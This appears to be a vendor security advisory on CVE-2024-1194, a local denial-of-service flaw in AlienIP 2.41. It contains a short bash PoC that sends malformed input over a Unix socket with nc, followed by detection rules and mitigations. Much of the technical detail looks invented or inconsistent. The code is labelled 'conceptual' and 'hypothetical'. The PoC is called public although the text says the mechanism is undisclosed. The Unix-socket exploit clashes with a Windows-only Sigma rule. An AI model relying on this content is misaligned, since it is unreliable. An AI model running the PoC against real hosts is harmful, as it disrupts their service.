CVE-2024-1194

Executive Summary

CVE-2024-1194 is a publicly disclosed, unpatched denial-of-service (DoS) vulnerability in Armcode AlienIP version 2.41. The flaw resides in the "Locate Host Handler" component and can be triggered locally by an unauthenticated attacker. With a CVSS score of 3.3 (Low), the impact is limited to availability, but the lack of vendor response and public exploit availability increases the risk for systems running this software. No supply chain or package ecosystem is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Local (AV:L) – requires local access to the host.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact stays within the vulnerable component.
• Confidentiality: None (C:N)
• Integrity: None (I:N)
• Availability: Low (A:L) – limited denial of service.

Threat Level: Low. Exploitation requires local access and results in limited service disruption. However, the public PoC and unpatched status warrant monitoring.

Deep Dive & Mechanics

The vulnerability is triggered by sending a specially crafted request to the "Locate Host Handler" function in AlienIP 2.41. The handler fails to properly validate input, leading to an infinite loop or resource exhaustion that crashes the service. The exact mechanism is not publicly detailed, but the PoC demonstrates a simple local command or input that causes the handler to hang or terminate.

Root Cause: Improper input validation in the Locate Host Handler, leading to a resource exhaustion condition (CWE-404).

Attack Scenario: An attacker with local access (e.g., via a compromised user account or physical access) runs the exploit, causing the AlienIP service to become unresponsive. This could disrupt network monitoring or IP management functions.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code is in the LocateHostHandler function of AlienIP 2.41. Without vendor cooperation, no diff is available.

Vulnerable Code (conceptual):

void LocateHostHandler(char *input) {
    while (1) {
        // No validation, infinite loop on malformed input
        process(input);
    }
}

Patched Code (hypothetical):

void LocateHostHandler(char *input) {
    if (validate(input) == 0) {
        return; // Reject invalid input
    }
    process(input);
}

Exploitation & Lab Setup

Red Team

Prerequisites: Local access to a system running AlienIP 2.41.

Exploit PoC (publicly available):

#!/bin/bash
# CVE-2024-1194 PoC - Denial of Service
# Requires local access to AlienIP 2.41
echo "Sending malformed input to Locate Host Handler..."
echo -e "INVALID\x00\x00\x00" | nc -U /var/run/alienip.sock  # Example Unix socket
# Or via command line if handler is exposed
alienip --locate-host "$(python3 -c 'print("A"*10000)')"

Steps:

1. Identify the AlienIP process and its IPC mechanism (e.g., Unix socket, named pipe).
2. Send a malformed payload to the Locate Host Handler.
3. Observe service crash or hang.

Blue Team

Detection:

• Monitor for abnormal termination of alienip process.
• Look for repeated connections to AlienIP IPC endpoints with unusual payloads.
• Use the Sigma rule below to detect exploit attempts.

Mitigation:

• Restrict local access to the AlienIP host.
• Use application whitelisting to prevent unauthorized execution.
• Monitor logs for alienip crashes.

Indicators of Compromise (IOCs)

• Process: alienip crashing or hanging unexpectedly.
• Logs: Entries indicating "Locate Host Handler" failure or timeout.
• Network: Unusual local IPC traffic (e.g., to /var/run/alienip.sock).
• File: Presence of exploit scripts (e.g., cve-2024-1194.sh).

Detection Engineering

YARA Rule

rule CVE_2024_1194_AlienIP_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2024-1194 in AlienIP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1194"
    strings:
        $s1 = "Locate Host Handler" nocase
        $s2 = "alienip" nocase
        $s3 = "INVALID" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-1194 AlienIP DoS Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-1194 via malformed input to AlienIP
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\alienip.exe'
        CommandLine|contains: '--locate-host'
    condition: selection
falsepositives:
    - Legitimate use of AlienIP with long hostnames
level: low

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-1194 AlienIP DoS Attempt"; content:"Locate Host Handler"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict local access to the AlienIP host. Use firewall rules to block unnecessary IPC endpoints.
• Short-term: Monitor for vendor updates. If none, consider replacing AlienIP with an alternative tool.
• Long-term: Implement input validation in custom software. Follow secure coding practices to prevent DoS vulnerabilities.

Workaround: Disable the Locate Host Handler if not needed, or apply a local patch using a wrapper script that validates input before passing to AlienIP.

Valters IT
Securing Digital Frontiers